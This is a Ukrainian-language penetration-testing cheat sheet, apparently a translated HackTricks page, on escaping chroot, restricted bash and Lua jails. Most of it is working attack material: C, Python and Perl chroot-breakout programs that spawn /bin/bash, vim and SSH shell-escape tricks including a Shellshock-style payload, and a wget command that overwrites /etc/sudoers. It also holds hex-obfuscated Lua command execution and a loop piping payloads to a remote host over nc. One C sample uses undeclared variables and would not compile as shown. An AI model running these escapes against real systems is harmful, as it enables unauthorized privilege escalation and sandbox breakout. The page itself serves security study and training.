Втеча з в'язниць

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

GTFOBins

Шукайте в https://gtfobins.github.io/ чи можете виконати будь-який бінар з властивістю "Shell"

Втечі з Chroot

З wikipedia: Механізм chroot не призначений для захисту від навмисного втручання привілейованих (root) користувачів. На більшості систем контексти chroot не налаштовуються належним чином, і програми, що знаходяться в chroot, з достатніми привілеями можуть виконати другий chroot для втечі.
Зазвичай це означає, що для втечі вам потрібно бути root всередині chroot.

tip

Інструмент chw00t був створений для зловживання наступними сценаріями та втечі з chroot.

Root + CWD

warning

Якщо ви root всередині chroot, ви можете втекти, створивши інший chroot. Це тому, що 2 chroot не можуть співіснувати (в Linux), тому якщо ви створите папку, а потім створите новий chroot в цій новій папці, будучи зовні її, ви тепер будете зовні нового chroot і, отже, будете в FS.

Це відбувається тому, що зазвичай chroot НЕ переміщує ваш робочий каталог до вказаного, тому ви можете створити chroot, але бути зовні його.

Зазвичай ви не знайдете бінарний файл chroot всередині в'язниці chroot, але ви можете скомпілювати, завантажити та виконати бінарний файл:

C: break_chroot.c
c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}
Python
python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Perl
perl
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");

Root + Saved fd

warning

Це подібно до попереднього випадку, але в цьому випадку зловмисник зберігає дескриптор файлу для поточної директорії і потім створює chroot у новій папці. Нарешті, оскільки він має доступ до цього FD зовні chroot, він отримує до нього доступ і втікає.

C: break_chroot.c
c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>

//gcc break_chroot.c -o break_chroot

int main(void)
{
mkdir("tmpdir", 0755);
dir_fd = open(".", O_RDONLY);
if(chroot("tmpdir")){
perror("chroot");
}
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
}

Root + Fork + UDS (Unix Domain Sockets)

warning

FD може бути передано через Unix Domain Sockets, тому:

  • Створіть дочірній процес (fork)
  • Створіть UDS, щоб батьківський і дочірній процеси могли спілкуватися
  • Запустіть chroot у дочірньому процесі в іншій папці
  • У батьківському процесі створіть FD папки, яка знаходиться поза новим chroot дочірнього процесу
  • Передайте дочірньому процесу цей FD за допомогою UDS
  • Дочірній процес змінює директорію на цей FD, і оскільки він знаходиться поза своїм chroot, він втече з в'язниці

Root + Mount

warning

  • Монтування кореневого пристрою (/) у директорію всередині chroot
  • Chroot у цю директорію

Це можливо в Linux

Root + /proc

warning

  • Замонтуйте procfs у директорію всередині chroot (якщо ще не замонтовано)
  • Шукайте pid, який має інший запис root/cwd, наприклад: /proc/1/root
  • Chroot у цей запис

Root(?) + Fork

warning

  • Створіть Fork (дочірній процес) і chroot у іншу папку глибше в FS і CD на неї
  • З батьківського процесу перемістіть папку, в якій знаходиться дочірній процес, у папку перед chroot дочірніх процесів
  • Цей дочірній процес виявить себе поза chroot

ptrace

warning

  • Колись користувачі могли налагоджувати свої власні процеси з процесу самого себе... але це більше не можливо за замовчуванням
  • У будь-якому випадку, якщо це можливо, ви могли б ptrace у процес і виконати shellcode всередині нього (дивіться цей приклад).

Bash Jails

Enumeration

Отримайте інформацію про в'язницю:

bash
echo $SHELL
echo $PATH
env
export
pwd

Змінити PATH

Перевірте, чи можете ви змінити змінну середовища PATH

bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory

Використання vim

bash
:set shell=/bin/sh
:shell

Створити скрипт

Перевірте, чи можете ви створити виконуваний файл з /bin/bash як вмістом

bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path

Отримати bash через SSH

Якщо ви отримуєте доступ через ssh, ви можете використати цей трюк для виконання оболонки bash:

bash
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "

Оголосити

bash
declare -n PATH; export PATH=/bin;bash -i

BASH_CMDS[shell]=/bin/bash;shell -i

Wget

Ви можете перезаписати, наприклад, файл sudoers

bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers

Інші трюки

https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
[https://pen-testing.sans.org/blog/2012/0b6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)
[https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)
Також може бути цікавою сторінка:

Bypass Linux Restrictions

Python Jails

Трюки щодо втечі з python jails на наступній сторінці:

Bypass Python sandboxes

Lua Jails

На цій сторінці ви можете знайти глобальні функції, до яких у вас є доступ всередині lua: https://www.gammon.com.au/scripts/doc.php?general=lua_base

Eval з виконанням команд:

bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()

Декілька трюків, щоб викликати функції бібліотеки без використання крапок:

bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))

Перерахуйте функції бібліотеки:

bash
for k,v in pairs(string) do print(k,v) end

Зверніть увагу, що щоразу, коли ви виконуєте попередній однолінійний код в іншому середовищі lua, порядок функцій змінюється. Тому, якщо вам потрібно виконати одну конкретну функцію, ви можете виконати грубу силу, завантажуючи різні середовища lua та викликаючи першу функцію бібліотеки:

bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
#the char function is going to be executed
for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end

#This attack from a CTF can be used to try to chain the function execute from "os" library
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done

Отримати інтерактивну lua оболонку: Якщо ви знаходитесь всередині обмеженої lua оболонки, ви можете отримати нову lua оболонку (і, сподіваємось, без обмежень), викликавши:

bash
debug.debug()

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks